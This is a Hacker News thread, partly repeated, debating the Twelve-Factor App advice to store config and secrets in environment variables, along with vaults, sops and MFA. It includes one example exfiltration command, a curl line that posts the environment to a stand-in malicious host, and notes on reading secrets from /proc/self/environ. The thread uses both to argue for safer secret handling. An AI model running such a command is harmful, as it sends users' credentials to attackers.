Still incredibly relevant. Even if you don’t apply it, there is so much to learn by reading this in 15 minutes.
The only grievance I have with this is Chapter 3: Config [1]
“Store config in the environment”, “Credentials to external services such as Amazon S3 or Twitter”
Besides being bad advice, this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files.
> this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files
Teach them to use dotenv.
We are moving away from configuration in config files because it is a pain to modify, especially if part of that configuration is secrets. You have to throw everything into your secrets vault of preference, and editing it requires extracting and reuploading the whole thing.
We are currently doing config in env by loading one or multiple secrets per kubernetes pod (mix and match).
My issue with the env is it's not a secret store. Dotenv is a delivery mechanism. If you're using it to put APP_BASE_URL or APP_PORT into your env, it's a very convenient one. If you're using dotenv to put SECRET_SIGNING_KEY into your env, it's as poor a delivery mechanism as ~/.bashrc is.
Processes and subprocesses inherit your environment. Too much can go wrong. Something as innocent as an error logging library adding `{ metadata: process.env }` to every line or as nefarious as `curl malicious.example.com -d "$(jq -n 'env')"` in a dependency you (or your agent) just pulled to test out in your local branch. Exfiltration is free. If you're loading secrets into your environment and _not explicitly cleaning it out immediately_, the security posture is trust & hope.
As patmorgan23 wrote in another comment "Secrets should go in a vault and retrieved with the help of a workload identity." Secrets management unfortunately isn't as easy as config management. I personally like sops[1].
Not a rhetorical question, just curious: Suppose you have all your secrets encrypted with sops. That secret that validates your application's identity, that it needs to use to get or decrypt the secrets, like an AWS keypair or similar, how do you provide that secret to the app?
The unwritten assumption in 12 Factor is: the environment is secure. For example, a production system should always have a secure means of setting environment variables. Said another way: If a random dev can change an environment variable in production either directly by logging in or indirectly by pushing code then there is something very very wrong.
If the dev is pushing code to production they should not simultaneously be pushing environment configs, this is doing two logically distinct things at once: Changing application behavior AND reconfiguring the server environment.
If the dev is adding secrets to their local config and they’re pushing that config to insecure places that means their deployment pipeline is broken and it should be fixed. .env is never committed to source for this reason, for example.
> The unwritten assumption in 12 Factor is: the environment is secure.
Fair assumption.
Assuming no attackers and you're only running trusted code, I still maintain the environment is a poor place to keep secrets. Devs adding `{ meta: process.env }` to logs. Instrumentation/reporting libraries dumping the process (and the env) for crash reports. Trust that subprocesses + dependencies inheriting your environment are taking equal care to avoid these issues, too.
Unfortunately, with secrets in the OS env, you‘re one `printenv` or improperly written third party dependency that leaks env vars away from a security incident.
The env and more importantly what populates it should be secure, but security works best in layers. Sanitizing the env after loading it is a nicer middleground, k8s-style secrets materialized to files work best and are conceptually close enough to the OS env.
It's not my intuition that materializing secrets to files is a better way to protect them than just injecting them into the environment, where they don't persist.
The env is technically still kind of a file on linux at least (through /proc).
Sometimes I feel like stdin or an unlinked memory mapped file might be the best location for this stuff. Wish Linux had a cloexec+1 option, where an fd is closed after two execs, so you can set up a child process for success.
Dev/shm is used to materialize them, and then you have the ability to isolate the downstream code you might use from accessing it by dropping permissions or sandboxing it away from a file. You cannot really hide your environment from anything in process, since it's such a low level construct.
Not at all clear why this is a better setup than a launcher shim that pulls secrets from a secret store and injects them into the environment as the program launches --- which is a pretty normal shape for these things to take.
I guess you could be thinking "subprocess inheritance" as a downside? But subprocesses often need secrets, and if you arrange for that with the filesystem you have the same problem. And, of course, files leak all the time.
More to the point, though: none of this has anything to do with whether you should add secrets to your .bashrc or whatever, which is the argument I'm seeing on the thread.
It doesn't need to be a traditional file. You can pass it as essentially a read-once file by using stdin. Depending on your desire for modernity, similar behavior can be obtained by leaving a file handle open for the exec-ed process to inherit, via a Unix socket, or even a lightweight TCP daemon.
> It's not my intuition that materializing secrets to files is a better way to protect them than just injecting them into the environment, where they don't persist.
I don't really follow this reasoning. Where are you injecting the secrets from?
This was about a programmer accidentally adding a debug print, or say an error page helpfully dumping environment, or logs from a third party tool, etc. Not about someone actually getting RCE just to print the environment, of course.
It's more accurate to describe it as a "premise", not an assumption. It may not be true of every environment, but it's a very common norm (for instance, secrets management systems inject tokens and such through the environment).
You can reject the premise in your own environments, and then that part of 12 Factor doesn't apply to you.
Adding on to what others say about printenv, various diagnostic tools (e.g. crash reporting stuff) will capture the environment. Env vars are just categorically so easy to accidentally leak that it can’t even be classed as an insecurity.
> Note that this definition of “config” does not include internal application config, such as config/routes.rb in Rails, or how code modules are connected in Spring. This type of config does not vary between deploys, and so is best done in the code.
I guess it depends on your definition of "behavior?" For example if the config is the endpoint address of an external resource, it's not really changing the application behavior per se.
Adding a config setting should never be dangerous (if it is your system is deeply broken) and should be distinct from changing an existing config setting.
> Adding a config setting should never be dangerous (if it is your system is deeply broken)
While I can't name anything specific offhand, I feel pretty strongly that I've seen documentation for various things stating that those things check for an environment variable and, if it isn't present, fall back to other candidate names for the same variable.
This makes setting a new variable synonymous with changing an existing one, unless all variables are currently using the highest-priority possible names.
Another architecture with the same effect is that the software will only check a single environment variable, and if not present it will use a default value. That also makes setting a new variable synonymous with changing an existing one.
You've never seen software that will use a default value, instead of refusing to operate, when a particular environment variable isn't present in the environment?
Are you talking about altering environment variables in a system, or altering software to read different environment variables? I read jt2190 as talking about the former.
I was deploying some dotnet app and it broke because the devs baked a config key into the image that was otherwise unset, which enabled it trying to start a SSL endpoint without a cert, thus breaking the app.
How does the running app instance get the workload identity?
The ways I can think of are (1) it's baked into the source code (worst possible security), (2) it's provided on the command line (also bad since command lines are visible to ps unless you do various OS-specific hijinks), (3) it's provided in an environment variable (no better than before), or (4) it's read from some well-known path (it seems to me that anything that could read a process's env vars could also read the contents of this file, so how is this more secure?)
> (3) it's provided in an environment variable (no better than before)
Even if you take no measures beyond simply using a token that can be exchanged for secrets (and you can – invalidate it, authenticate it, etc.), you’re already doing better than before, because the token isn’t useful to an attacker without access to the secret store, whereas something like a JWT secret key is very useful.
Thanks, I can see how invalidating the token after first use, or after a short time period, reduces the exploit possibilities. (If all upstream service providers that you depend on were perfect, this could be arranged separately for each JWT that you need, but they aren't perfect.)
> authenticate it
> the token isn’t useful to an attacker without access to the secret store
If it's not a bearer token (that is, if you need to provide some additional credentials to authenticate it to the secret store) then any such additional authentication would need to be passed in somehow. Are you maybe assuming that in the environment where the app runs, some subsystem will have already installed a credential for some suitable IAM security principal? Because in that case, I certainly agree that it's better to anchor everything off that. That covers many cases (including every cloud) but not, e.g., rented plain VPSes or a couple of servers in your own basement.
Absolutely. This is why the env method is so attractive. It's simple and feels "free".
> doesn't every other way also suffer the same kind of issue
Not entirely. Accessibility (or dev ergonomics) and security are opposite ends of the same dial. As the other commenter wrote: a workload identity and a vault, and sharing the secrets between the two in a way that doesn't leave a plain-text trace for everyone to read (the environment is not private).
Now that we use coding agents, you don't want to store secrets anywhere in the same VM, because that makes them vulnerable to exfiltration. The best way is to access external services via a proxy that holds the secrets.
"The environment" is not "environment variables" and not ".env files"
For cloud services, it would typically be called a vault. But it could also be a hardware security module (HSM) with bring-your-own-key (BYOK, eg for certificates.)
Ansible also calls it a vault and encrypts it with a password — that file you can check into version control.
The vault of the cloud provider would just inject the value of the environment variable securely so it doesn't have to be stored on-disk. What the parent poster wrote isn't wrong.
Firmly agree. A lot of sibling comments are talking about environment mutation (which does have issues); I want to talk about environment read access.
The environment is a standard, locate-able, read-only at runtime k/v store in every process. That makes it an incredibly juicy target for exploits. There are tons of remote exploits well short of RCE which can access all or part of a server process's environment. If that environment contains secrets for everything that process might do, that's asking for trouble.
Consider a user-facing webserver with a rarely-used, admin-only route that talks to AWS APIs. Unless it's deployed on AWS and using IMDS, the 12-factor best practices say there should be AWS credentials in its environment.
Consider a service which, at startup, opens a connection to a telemetry/logging system, then drops privileges and handles requests. 12-factor best practices say there should be a secret for that telemetry system in its environment.
Additional examples abound. Most applications (even ones that aren't internet-facing web servers) use configured secrets infrequently--often only once, to open connections to external services--and not during the vast majority of requests they serve, but we put all secrets in the environment anyway.
Vaults don't automatically solve this problem either; many vaults provide secrets to applications by injecting them into process environment at start.
Good secret management at runtime should ideally be:
1. Mutable or at least delete-able. I really wish there were ways to remove environment variables after they're used (so I could say "once you have an authenticated, open socket or a refreshable auth token to $service, remove the initial login secret from memory entirely"), but absent highly complex multi-process/re-exec dances, that doesn't really exist. If, in Python, you 'del os.environ["foo"]', you haven't modified the environment segment of your program's memory.
2. Not in one common/uniform memory area or key-value API. Hell, it's slightly preferable to have secrets be stored piecemeal in regular variables in memory scattered around your code. Those are going to be slightly harder to find for malware that gets a foothold--security by obscurity, true, but the environment memory block/API is such a tempting and easy target that it buys you a bit more than a false sense of security here.
3. Ideally, stored or encrypted in memory (for secrets that have to stay in memory) such that an exploit which can read process memory doesn't get them for free. Some vaults have a host-local sidecar which provides secrets or a decryption key for them; that way, if an attacker gets memory-read without RCE they can't just exfil a memory image and figure out the decryption key later, but you don't have to be reliant on a remote networked service's uptime for all secret accesses. Even if you don't go that far, securing secrets in-memory at least gives you the option of doing zero-trust stuff based on request payloads, or even just making good-hygiene backend APIs that encode "you can only read the value for secret X if the request is for an admin route and authenticated" (which is a good idea for internet-exposed services with seldom-used risky secrets anyway, but doesn't help with parts 1 and 2 if that API is just wrapping env.get() or whatever).
I feel like people just think they should be doing all sorts of complicated stuff, and if they're not, they're somehow slacking off on security. You used to see the same thing with password hashes where people would write paragraphs about how they have salts and peppers and spices, passionately arguing for the necessity of each.
At the point where you're encrypting secrets in resident memory in a normal server program, you have gone fully into saffron-grade security. If you're worried about leaking secrets in your environment, overwrite the environment variable data and be done with it. In reality, if this is a real concern, unsetenv(3) is probably enough to avoid the actual attack vector --- a vulnerability where you leak environment variables qua environment variables (because you shell out or something).
Whatever vulnerability you're positing that leaks a secret out of arbitrary resident memory also leaks whatever secret you'd use to encrypt, and now you're not building a security system, you're building a DRM scheme. Don't let me yuck your yum on that, but: not a good ROI for security.
You're not wrong. My gripes above aren't a tacit accusation everyone is slacking off on security. I just wish we had standardized on better tools than env variables to make secrets a little more secure by default without requiring complicated stuff. But life goes on, most locks are more pickable than they should be, etc.
I do quibble with the statement that
> unsetenv(3) is probably enough to avoid the actual attack vector
It's not, because it doesn't modify the environment block of the process. Even if you use unsetenv, you're one path-traversal vuln away from folks being able to read all your startup-time secrets out of /proc/self/environ. Similar is true for exploits that can read process memory in small chunks: it takes time and risks detection to e.g. crawl around the stack/heap of who-knows-what-language to find interesting variables, but it's a lot easier to grab whatever's at the top of the stack by address (the env blob, which I think is also unmodified by most unsetenv(3) implementations). Path traversals and small-arbitrary-read exploits aren't exactly uncommon, and environment variables are the wp-admin/admin.php of exploit targets.
That's a quibble; you're broadly right, and that risk's not nearly severe enough to torture your code or bring in caching + encrypting runtime secret stores or whatnot.
I just wish env had been implemented without a /proc view and with reads requiring a cheap syscall rather than memory-residence, you know? Yeah, it's pointless to speculate about, but still seems like an obviously-preferable-in-retrospect road not taken.
Even putting secrets aside, the environment is a crappy place for config data.
It's got a maximum size cap, is trivially introspectable by via any process that can read `/proc`, and sucks at representing hierarchical or structured data beyond k=v.
The proliferation of tools that come up with all sorts of contortions to encode e.g. JSON-ish structures into the environment is evidence that this ain't a great way to go. I hope we're moving towards a container-orchestrator-by-default future; mounting structured data into pseudo-files at runtime is a really nice alternative.
It's pretty normal to keep secrets in a dedicated secret store, and then have the service launcher inject them from the secret store into the environment.
normal indeed but not what i'd consider a best practice anymore. we've moved away from any secrets in the env after the typical secrets leak when secrets popped up in some debug logging that hit datadog.
we now have a secret cache layer api and the app loads secrets securely at time of use from that api. there's also no secret-0 problem because we use IAM auth when calling the cache.
edit: for those wondering, api response time is sub 1ms (rust!)
Buy-into storing credentials into environment variables.
Then, and this is important - MANAGE YOUR ENVIRONMENTS.
You shouldn't have prod level s3, or aws creds accessible openly in your environment. If someone can steal those values, they can steal the code, and pretty much everything else. This is very bad.
For prod (and possibly staging), use a lib that loads in values securely from an actual secrets service.
This is the beauty of sOps. Store the secrets in the code, but store the keys in AWS SM and have sOps do the work. Works great with Instance Profiles or IRSA.
I’d speculate that this was a product of its time (early Heroku days), and that a goal at the time was to get secrets out of source control. Which was an antipattern way back then.
Times have changed since then, and there’s much better tooling available to help with this problem space and surface area these days.
It's still completely correct. You don't have to use environment variables to store the environment. It can be stored in a secrets management system and loaded on-demand.
The point is that you must keep secrets, and anything environment-specific, out of the code. Follow the spirit of the law, not the letter.
I wonder what alternative methods people use nowadays that are good enough but still simple and lightweight ? secret management services have its own place but not everyone have those available.
The take still holds, although it is a bit more nuanced than it seems at first. 12 Factor was written by the founders of Heroku, for context, and that's exactly how Heroku worked. The app code would be submitted into a system, and run in a pre-container era container-ish environment where any instance specific data would be supplied as environment variables.
This is actually in place in most hosting providers today - don't know if Heroku does it, but many others like Vercel and Fly will also encrypt your secret env vars and decrypt and inject them only at the last minute.
AWS itself has something similar with its secrets manager. Even in the absence of credentials, like using role based IAM when running on EC2, it probably makes sense to note that the code must access credentials by hitting a local-only metadata server - and of course this is available only when running on EC2.
For other secret like payment processor tokens, etc, there's you do need to store secrets somewhere.
Putting secrets in plaintext in the files on the execution platform is of course a problem - but that's not a problem in the 12 Factor idea - it's a security lapse in the design and architecture of the platform that is supposed to be running your 12 Factor app, if that makes sense.
It’s a terrible pattern, but one that is simply entrenched. Pretty much everything treats .env as if it’s /etc/shadow now.
I would prefer to see secrets from .env not actually splattered in the environment but processed/read on demand, and there are indeed libraries to do that.
I'm the creator of Node dotenv and I gave this a lot of thought a couple years back. I put together a whitepaper on this. Ultimately your secrets do still have to hit your environment. But at-rest they should be split from the environment. Today I think that is encrypting your .env file and keeping the decryption key separate. Bring the decryption key only at runtime inside your environment.
Every time I leave my phone in the other room to “finally get some work done”, please enter this goddamn number we sent to your SMS, and I close my laptop.
My work uses “okta verify” for everything which is very helpful, as I can sue my work PC as a trusted device or fall back to a yubikey if not. 100x better than random SMS
The most obnoxious aspect of that: I specifically have my texts accessible on my laptop, but some 2fa authentication texts get blocked via that mechanism in favor of a message saying "look at this message on your phone".
I used to solve this with the Authy desktop app, now discontinued. I firmly believe MFA shouldn’t live in your password manager (what’s the point of MFA, then?). Thoughts on MFA options?
The problem is the "M." Anything beyond a single factor is unnecessarily painful. Make the single factor good (passkeys or FIDO2 or whatever) and the problem is solved without "M."
Google pushes "password" down 2 layers of their interface. If you really want to use a password to authenticate, it's not always a first class citizen.
Both Google and Microsoft call their apps Authenticator, so two identically named apps on my iPhone distinguishable only by logo.
Furthermore, if you login to 20 things a day (which I do), the codes are going to these apps, SMS, and email. Each different.. so if I'm on my Linux box, my Watch doesn't really help. If I leave my phone in the other room, I can't use the apps to get the code without going to the other room. If multi-tasking is expensive for the brain and attention, MFA is the computing surface equivalent.
You may have built a great MFA workflow, but I have to live with 3-10 variations of workflows all day long, including puzzles. And it's more aggravating when I have to MFA to your service to get my information. My machine is in my house and nobody's been in my house but every_single_login requires me to pretend that in every moment of every day someone may have stolen my laptop and my finger.
My work machine will let me auth with my fingerprint, but the typical enterprise integration of all the things means I still have to click through 3-4 screens to get to where the fingerprint is accepted.
Services and APIs don't MFA.. they have keys and other restrictions for seamlessness. Where's the seamlessness solution for humans?
Passkeys are cool, but they're not ubiquitous enough yet, and the interface between desktop and mobile (even using 1Password for universal passkeys) wouldn't qualify as solved in my book.
Personally I hate when I use a passkey but then still get hit with an SMS second factor step. A passkey should be enough, unless I'm changing my recovery email or withdrawing a million dollars or something. Also there's still a lot of really bad UX around passkeys, both by browser/OS vendors and by individual apps, and unimplemented features like sharing.
Passkeys are the right thing but they need more work.
I totally believe that someone has gotten it this wrong, but personally I've never seen an SMS 2FA on a Passkey authentication. My most common Passkey complaint is that a service doesn't support them yet.
Heroku seemed like it was going to be the future back then. Every time I find myself struggling to understand some nonsense in Azure I dream of the simpler future we lost.
They got painfully expensive and then acquired. I still remember the arguments with clients and finally went all in AWS ECS, which is still quite pricey but clients seem to complain less about the Amazon bill then they did about Heroku.
Other than the pricing, for something built for simplicity, i always found their config method bit weird. Maybe it's just me b/c I first learned the aws stack, and got tired of managing EKS
Yeah I don't see a reason to use k8s if not on cloud, and k8s on cloud is even more complex. Compose is still the right size for one box, that one command does all was really nice to have
Its interesting how this felt so natural and right way to do software. I remember people referencing it as the north star. And then gradually people came close to it but moved past it. Personally I feel that these concepts require to have generalist mindset aka application architect. What we have as of today are lot of product engineers within teams, product managers and management. The product engineers do not always have enough leverage or incentives to push for these kind of concepts.
And still at the same time these concepts feel like so much carved in stone that one way or another everyone is going to keep discovering them again.
.env as we know is full of problems... BUT! check out varlock (https://varlock.dev) - it's free and open source, and we have really modernized and adapted the familiar syntax (a small DSL on top) to make it much better.
Has built-in validation, type-safety, composition via functions, loading with plugins, leak prevention, and much more.
I think the idea to use the environment is misguided in general.
The environment was only ever good for things like GOMAXPROCS where you want a single point of truth for all processes on a machine but in a containerized world even that point is moot. Where regular config in the environment just problematic it is outright dangerous for secrets.
I won't disagree that it comes with security tradeoffs and depending on the situation it can definitely be a problem. But in many cases with how people deploy lots of software - most PaaS and things like lambdas / cloudflare workers, etc - it's absolutely fine. With varlock, we can even swap out the secret delivery mechanism at the end - but you still get a schema and familiar interface for how it all works.
I do not fully agree with the author and I think the author is reaching a bit hard because in my reading Twelve-Factor App X does not argue for complete parity. My reading is that whatever the app is interfacing should be kept as similar as possible.
Good best practices, mostly, but I feel the 12FA model totally punted on state by defining it out of scope: "state is over there in that external service, three-monkeys-emoji".
Yeah but sometimes state is the entire point and you need to manage it yourself, and then some of your processes must be 9 or 10 factor as a result.
Is it devs that haven't internalized this? Or management? Because I'd love to do this, but I always report to people who demand that everything be done in "a few days".
It's even older the page says "Last updated 2017" and the repo goes back to 2011, and in fact see HN discussion from November 2011: https://news.ycombinator.com/item?id=3267187
I haven't checked the 12 factors for a while but feel proud to have worked on systems probably for a long old while where most or all have applied. To the point I'd naturally do these things without consciously thinking.
I think that says a lot about good practices spreading than anything else. To not do these things: maybe a startup moving fast, or a very isolated company or just some old legacy COBOL type thing where you want the thing to still work as the main concern.
> Multiple apps sharing the same code is a violation of twelve-factor.
I never understood why the 12 factor app is against monorepos. It seems completely orthogonal to the contract between an application and its execution platform, which if I understand correctly, is the main point of 12 factor.
I still point to this document as the base of DevOps. Most people I work with in IT never read it. If you want to do proper DevOps these are a requirement not optional.
Last time I pointed someone to this site was last week.
I'm debating the tradeoff for secret management in my app as well. Storing it is easy you just need encryption and it's mostly good. But delivering it is tricky. Delivery via env is simple for sure but can get leaked. The other route would be a job scoped signature, but this doesnt stop the job from printing the secret out, it only shrinks the blast radius.
But if you delete the secret after the job is done or deployment is up, it's pretty much the same result
> X. Dev/prod parity
> Keep development, staging, and production as similar as possible
Gets interesting at the seams of software & data environments. If my preprod stack operates independently of my prod stack (due to different internal users), but preprod data stack is best tested on prod data, the seams of these two things imply there should be a separate data stack for both preprod data versus preprod-internal.
Generally pro 12-FA, but it's very service dev oriented.
I know an e-commerce company where the staging environment was completely hijacked by product managers to "stage" their data. They've even convinced management to ask IT to build a tool for migrating data from staging to production. All of this just to avoid building a proper release flow for (product-)data.
Every time it gets posted I read through the list and think "export services via port binding… of course a web server binds to a port, of course it‘s decoupled that way, what else would you do" and "treat backing services as attached resources… huh, is that really only about not linking in a database, but connecting using a JDBC string, for example?"
So let me ask for once: what am I missing? Why is that interesting and not trite?
I think backing services as attached resources was opposed to the practice of having your DB, and cache, and whatnot managed and maintained by a completely separate team and not really treated as part of the application. Even the schema changes.
The port binding was really a response to tomcat or modphp being modules in the webserver, as opposed to hosting their own web service internally. This was before nginx took off, and proxying to internal application ports was common.
edit:
I was wrong about the backing services, it seems it is really about treating them as configurations and being able to swap them out without making code changes.
The same reason many older films seem cliche - because they were the first to do it, and it's accepted standard now. Heroku very much shaped how we think of "cloud applications", autoscaling, and containerization.
If you go far enough back in time (this dates back to at least 2011), it's arguing against things like:
For port binding, for example, it used to be that you'd deploy your app to the web application container, rather than bundling them together. e.g., deploying your WAR file to Tomcat, rather than building a self-executing JAR which included Tomcat. The wording is a bit odd, but I think they were trying to make the point very generic, and not specifically about the Enterprise Java world.
For the backing resources, it's a combination of point 3, config often living inside the codebase, applications just shelling out to /usr/sbin/sendmail or what have you, and applications living on the same host as the DB, such that bringing up a new application necessarily required bringing up a new DB as well. Which also made it hard it to scale horizontally.
The whole "12 Factor" thing was partly because Heroku had specific solutions for all of these, so going down this road made it much easier to then sell Heroku, and partly because they really were frustrating. I'd say that the port binding one is more targeted at, say, WebSphere, and all that came along with it, such as sharing a single heap across multiple apps, needing to talk to the WebSphere admins to change configuration, needing to use a "lite" version of WebSphere to test locally, if that was even possible, and so on.
They sound super-obvious these days, but at the time, for a lot of us, they were really nice to see.
I appreciate you giving those examples, I was searching for something like that, seat belts in particular were controversial to a degree that is absolutely difficult to imagine these days, I think, even having lived through it as a kid.
In older architectures you would expose services as libraries and everything ran in one UBER process… eg JBoss and ASP.. it also covered off on web server processing like cold fusion and php.
> X. Dev/prod parity Keep development, staging, and production as similar as possible
Notably, there is no requirement or recommendation that the dev environment be a single, shared environment. Development processes where this environment is single is shared is as terrible as it is ubiqitous.
I know that all of this is super relevant, but it's extremely aspirational, and I can pick apart pretty much every one of these factors on how it doesn't fully hold up when it comes to the reality of production applications.
While this is and has always been outstanding advice, be aware different readers tend to comprehend that advice differently. Make sure you understand your approach moving forward; do further research and hold discussions with seniors.
+1. I saw the 2025 suffix and fact that it was on the original domain and hoped they released a v2 to carry us through the world of Platform Engineering, Observability 2.0, Kubernetes vs Serverless, etc.
I don't understand why I'm not seeing a single comment here regarding the fact that web apps are mostly a piece of shit performance and usability wise.
Storing config in environment variables is just such an incredibly obviously awful thing to do I can't recommend that anyone listens to this advice. Maybe some of the other things are good practice... honestly I don't remember... but once I saw that I immediately noped out.
Would you get advice from an antivaxxer? Like, maybe they do have good advice but it's still a good idea to get your advice elsewhere!
Still incredibly relevant. Even if you don’t apply it, there is so much to learn by reading this in 15 minutes.
The only grievance I have with this is Chapter 3: Config [1] “Store config in the environment”, “Credentials to external services such as Amazon S3 or Twitter”
Besides being bad advice, this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files.
Stop doing this. Do the other 11.5 factors.
[1]: https://12factor.net/config
> this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files
Teach them to use dotenv.
We are moving away from configuration in config files because it is a pain to modify, especially if part of that configuration is secrets. You have to throw everything into your secrets vault of preference, and editing it requires extracting and reuploading the whole thing.
We are currently doing config in env by loading one or multiple secrets per kubernetes pod (mix and match).
What would be your suggestion?
My issue with the env is it's not a secret store. Dotenv is a delivery mechanism. If you're using it to put APP_BASE_URL or APP_PORT into your env, it's a very convenient one. If you're using dotenv to put SECRET_SIGNING_KEY into your env, it's as poor a delivery mechanism as ~/.bashrc is.
Processes and subprocesses inherit your environment. Too much can go wrong. Something as innocent as an error logging library adding `{ metadata: process.env }` to every line or as nefarious as `curl malicious.example.com -d "$(jq -n 'env')"` in a dependency you (or your agent) just pulled to test out in your local branch. Exfiltration is free. If you're loading secrets into your environment and _not explicitly cleaning it out immediately_, the security posture is trust & hope.
As patmorgan23 wrote in another comment "Secrets should go in a vault and retrieved with the help of a workload identity." Secrets management unfortunately isn't as easy as config management. I personally like sops[1].
[1] https://github.com/getsops/sops
It's not a secret store. It's an IPC mechanism. Secret stores are built on top of it.
Not a rhetorical question, just curious: Suppose you have all your secrets encrypted with sops. That secret that validates your application's identity, that it needs to use to get or decrypt the secrets, like an AWS keypair or similar, how do you provide that secret to the app?
Via workload identity (Instance Profiles in this case; IRSA with EKS)
The unwritten assumption in 12 Factor is: the environment is secure. For example, a production system should always have a secure means of setting environment variables. Said another way: If a random dev can change an environment variable in production either directly by logging in or indirectly by pushing code then there is something very very wrong.
If the dev is pushing code to production they should not simultaneously be pushing environment configs, this is doing two logically distinct things at once: Changing application behavior AND reconfiguring the server environment.
If the dev is adding secrets to their local config and they’re pushing that config to insecure places that means their deployment pipeline is broken and it should be fixed. .env is never committed to source for this reason, for example.
> The unwritten assumption in 12 Factor is: the environment is secure.
Fair assumption.
Assuming no attackers and you're only running trusted code, I still maintain the environment is a poor place to keep secrets. Devs adding `{ meta: process.env }` to logs. Instrumentation/reporting libraries dumping the process (and the env) for crash reports. Trust that subprocesses + dependencies inheriting your environment are taking equal care to avoid these issues, too.
Unfortunately, with secrets in the OS env, you‘re one `printenv` or improperly written third party dependency that leaks env vars away from a security incident.
The env and more importantly what populates it should be secure, but security works best in layers. Sanitizing the env after loading it is a nicer middleground, k8s-style secrets materialized to files work best and are conceptually close enough to the OS env.
It's not my intuition that materializing secrets to files is a better way to protect them than just injecting them into the environment, where they don't persist.
The env is technically still kind of a file on linux at least (through /proc).
Sometimes I feel like stdin or an unlinked memory mapped file might be the best location for this stuff. Wish Linux had a cloexec+1 option, where an fd is closed after two execs, so you can set up a child process for success.
Only in the sense that everything is technically a kind of a file given access to proc.
Dev/shm is used to materialize them, and then you have the ability to isolate the downstream code you might use from accessing it by dropping permissions or sandboxing it away from a file. You cannot really hide your environment from anything in process, since it's such a low level construct.
Thus it's easier to leak environment unintentionally, leaking file contents takes effort.
Not at all clear why this is a better setup than a launcher shim that pulls secrets from a secret store and injects them into the environment as the program launches --- which is a pretty normal shape for these things to take.
I guess you could be thinking "subprocess inheritance" as a downside? But subprocesses often need secrets, and if you arrange for that with the filesystem you have the same problem. And, of course, files leak all the time.
More to the point, though: none of this has anything to do with whether you should add secrets to your .bashrc or whatever, which is the argument I'm seeing on the thread.
Have you seen this where eBPF patches secrets inside TLS send buffers? https://github.com/spinningfactory/kloak
Now you have to be much more clever to leak them :)
(Edit: I need to read up on this better)
It doesn't need to be a traditional file. You can pass it as essentially a read-once file by using stdin. Depending on your desire for modernity, similar behavior can be obtained by leaving a file handle open for the exec-ed process to inherit, via a Unix socket, or even a lightweight TCP daemon.
> It's not my intuition that materializing secrets to files is a better way to protect them than just injecting them into the environment, where they don't persist.
I don't really follow this reasoning. Where are you injecting the secrets from?
> you‘re one `printenv` or improperly written third party dependency that leaks env vars away from a security incident.
Game over already if anyone can run commands or arbitrary code. Not using the environment won't help you.
This was about a programmer accidentally adding a debug print, or say an error page helpfully dumping environment, or logs from a third party tool, etc. Not about someone actually getting RCE just to print the environment, of course.
systemd-creds too, for anyone who has not found it yet like I was a week ago.
tbf thats what a good logging lib is for, and if printenv can be run within the machine, then it's already too late
The assumption is the vector. Why assume?
It's more accurate to describe it as a "premise", not an assumption. It may not be true of every environment, but it's a very common norm (for instance, secrets management systems inject tokens and such through the environment).
You can reject the premise in your own environments, and then that part of 12 Factor doesn't apply to you.
Adding on to what others say about printenv, various diagnostic tools (e.g. crash reporting stuff) will capture the environment. Env vars are just categorically so easy to accidentally leak that it can’t even be classed as an insecurity.
> Changing application behavior
Configuration changes also change application behavior, otherwise is it really “config”?
> Note that this definition of “config” does not include internal application config, such as config/routes.rb in Rails, or how code modules are connected in Spring. This type of config does not vary between deploys, and so is best done in the code.
I guess it depends on your definition of "behavior?" For example if the config is the endpoint address of an external resource, it's not really changing the application behavior per se.
Adding a config setting should never be dangerous (if it is your system is deeply broken) and should be distinct from changing an existing config setting.
> Adding a config setting should never be dangerous (if it is your system is deeply broken)
While I can't name anything specific offhand, I feel pretty strongly that I've seen documentation for various things stating that those things check for an environment variable and, if it isn't present, fall back to other candidate names for the same variable.
This makes setting a new variable synonymous with changing an existing one, unless all variables are currently using the highest-priority possible names.
Another architecture with the same effect is that the software will only check a single environment variable, and if not present it will use a default value. That also makes setting a new variable synonymous with changing an existing one.
Never seen this problem in the wild. Seems like it would be a very rare issue limited to very large configs with conflicting names.
You've never seen software that will use a default value, instead of refusing to operate, when a particular environment variable isn't present in the environment?
No I’ve never seen software that broke because someone added a config key.
Are you talking about altering environment variables in a system, or altering software to read different environment variables? I read jt2190 as talking about the former.
I was deploying some dotnet app and it broke because the devs baked a config key into the image that was otherwise unset, which enabled it trying to start a SSL endpoint without a cert, thus breaking the app.
> Besides being bad advice
What makes it bad advice?
> this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files
You need some way to pass secrets to the app; doesn't every other way also suffer the same kind of issue?
Secrets should go in a vault and retrieved with the help of a workload identity.
How does the running app instance get the workload identity?
The ways I can think of are (1) it's baked into the source code (worst possible security), (2) it's provided on the command line (also bad since command lines are visible to ps unless you do various OS-specific hijinks), (3) it's provided in an environment variable (no better than before), or (4) it's read from some well-known path (it seems to me that anything that could read a process's env vars could also read the contents of this file, so how is this more secure?)
> (3) it's provided in an environment variable (no better than before)
Even if you take no measures beyond simply using a token that can be exchanged for secrets (and you can – invalidate it, authenticate it, etc.), you’re already doing better than before, because the token isn’t useful to an attacker without access to the secret store, whereas something like a JWT secret key is very useful.
Thanks, I can see how invalidating the token after first use, or after a short time period, reduces the exploit possibilities. (If all upstream service providers that you depend on were perfect, this could be arranged separately for each JWT that you need, but they aren't perfect.)
> authenticate it
> the token isn’t useful to an attacker without access to the secret store
If it's not a bearer token (that is, if you need to provide some additional credentials to authenticate it to the secret store) then any such additional authentication would need to be passed in somehow. Are you maybe assuming that in the environment where the app runs, some subsystem will have already installed a credential for some suitable IAM security principal? Because in that case, I certainly agree that it's better to anchor everything off that. That covers many cases (including every cloud) but not, e.g., rented plain VPSes or a couple of servers in your own basement.
> You need some way to pass secrets to the app
Absolutely. This is why the env method is so attractive. It's simple and feels "free".
> doesn't every other way also suffer the same kind of issue
Not entirely. Accessibility (or dev ergonomics) and security are opposite ends of the same dial. As the other commenter wrote: a workload identity and a vault, and sharing the secrets between the two in a way that doesn't leave a plain-text trace for everyone to read (the environment is not private).
I like sops: https://github.com/getsops/sops
Now that we use coding agents, you don't want to store secrets anywhere in the same VM, because that makes them vulnerable to exfiltration. The best way is to access external services via a proxy that holds the secrets.
exe.dev has a zillion of them: https://exe.dev/docs/integrations
"The environment" is not "environment variables" and not ".env files"
